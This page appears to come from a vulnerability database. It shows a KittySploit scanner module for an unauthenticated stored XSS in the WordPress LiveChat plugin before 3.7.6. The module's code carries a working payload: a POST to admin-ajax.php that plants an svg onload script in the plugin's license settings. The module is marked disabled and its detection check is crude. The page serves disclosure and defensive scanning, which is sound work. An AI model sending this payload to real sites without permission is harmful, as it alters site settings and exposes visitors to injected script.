Lucene search
+L

WordPress LiveChat < 3.7.6 - Unauthenticated Stored XSS Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 2 Views

Unauthenticated attackers can update WordPress LiveChat plugin settings via Stored XSS.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress LiveChat plugin before < 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress LiveChat < 3.7.6 - Unauthenticated Stored XSS Detection',
        'description': 'WordPress LiveChat plugin before < 3.7.6 lacked CSRF and authorization checks on the option update handler in the LiveChatAdmin constructor. The code ran on any POST to a wp-admin URL without Referer validation, nonce check, or capability verification. This allowed unauthenticated attackers to update plugin settings.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'wpscan', 'wp', 'wp-plugin', 'wordpress', 'livechat', 'xss', 'stored-xss', 'unauth'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://wpscan.com/plugin/wp-live-chat-software-for-wordpress/',
            'https://wordpress.org/plugins/wp-live-chat-software-for-wordpress',
        ],
    }

    def run(self):
        return False  # disabled: corrupted matchers
        path = '/wp-content/plugins/wp-live-chat-software-for-wordpress/readme.txt'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return False
        path = '/wp-admin/admin-ajax.php'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='licenseNumber=42&licenseEmail=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E\n')
        if not r or r.status_code not in (200, 400):
            return False
        body = r.text or ""
        body_any = ('0',)
        if any(m in body for m in body_any):
            self.set_info(severity='high', reason='WordPress LiveChat < 3.7.6 - Unauthenticated Stored XSS detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation